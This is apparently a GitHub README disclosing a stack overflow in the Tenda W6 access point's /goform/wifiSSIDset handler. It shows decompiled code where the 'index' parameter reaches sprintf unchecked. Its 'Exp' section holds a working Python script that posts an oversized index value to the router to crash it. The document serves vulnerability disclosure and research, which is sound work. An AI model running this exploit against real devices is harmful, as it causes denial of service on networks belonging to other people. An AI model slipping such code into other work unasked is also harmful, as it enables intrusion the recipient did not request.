ilovekeer Add files via upload ... on Jul 8 History

..

pic	5 months ago
video	5 months ago
README.md	5 months ago
README_cn.md	5 months ago

README.md

Tenda W6 Stack Overflow Vulnerability

Device Vulnerability Introduction

Tenda W6 is an enterprise wireless AP router from Tenda Technology (Shenzhen, China).

A stack overflow vulnerability exists in /goform/wifiSSIDset in Tenda W6 V1.0.0.9(4122) version, which can be exploited by attackers to cause a denial of service (DoS) via the index parameter.

The firmware can be downloaded at: https://www.tenda.com.cn/download/detail-2576.html

Vulnerability Location

/goform/wifiSSIDset

formwrlSSIDset()

```
25  int v24[8]; // [sp+48h] [+48h] BYREF
26  int v25[8]; // [sp+68h] [+68h] BYREF
27  char v26[100]; // [sp+88h] [+88h] BYREF
28  char v27[64]; // [sp+ECh] [+ECh] BYREF
29  int v28[4]; // [sp+12Ch] [+12Ch] BYREF
30  int v29[2]; // [sp+13Ch] [+13Ch] BYREF
31  __int16 v30; // [sp+144h] [+144h]
32
33  memset(v24, 0, sizeof(v24));
34  memset(v25, 0, sizeof(v25));
35  memset(v26, 0, sizeof(v26));
36  memset(v27, 0, sizeof(v27));
37  memset(v28, 0, sizeof(v28));
38  Var = (const char *)websGetVar(a1, "GO", "wireless_basic.asp");
39  nptr = (char *)websGetVar(a1, "wl_radio", "0");
40  v22 = (char *)websGetVar(a1, "index", "0");
41  v21 = websGetVar(a1, "enableWireless", "0");
42  v19 = websGetVar(a1, "ssid", "W45AP_MultiSSID");
43  v18 = websGetVar(a1, "broadcastSsid", "0");
44  v17 = websGetVar(a1, "isolate", "0");
45  websGetVar(a1, "ssidIsolate", "0");
46  v16 = websGetVar(a1, "maxclients", "25");
47  websGetVar(a1, "hidemaxclients", "25");
48  v15 = websGetVar(a1, "ssid_encode", "utf-8");
49  v20 = websGetVar(a1, "wmf_enable", "0");
50  if ( !strcmp(nptr, "0") )
51  {
52    strcmp(v22, "0");
53    sprintf((char *)v24, "wl2g.ssid%s.", v22);
54    v1 = sub_4418B0(v24, "enable", v26);
55    SetValue(v1, v21);
56  }
57  else if ( !strcmp(nptr, "1") )
58  {
59    strcmp(v22, "0");
60    sprintf((char *)v24, "wl5g.ssid%s.", v22);
```

```
  if ( !strcmp(nptr, "0") )
    GetValue("wl2g.public.enable", v28);
  else
    GetValue("wl5g.public.enable", v28);
  v11 = atoi((const char *)v28);
  v12 = atoi(nptr);
  send_wifi_msg_handle(v11, v12);
}
sprintf(v27, "/%s?index=%s", Var, v22);
return websRedirect(a1, v27);
```

Exp

```
import requests
from pwn import *

burp0_url = "http://192.168.5.1/goform/wifiSSIDset"
burp0_headers = {"Host":"192.168.5.1",
"Content-Length":"295",
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, l
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"Origin":"http://192.168.5.1",
"Referer":"http://192.168.5.1/main.html",
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en-US,en;q=0.9",
"Cookie":"user=",
"Connection":"close"}

data1="index="+'a'*0x200

requests.post(burp0_url,headers=burp0_headers,data=data1, verify=False,timeout=1)
```

Please see the video for the demonstration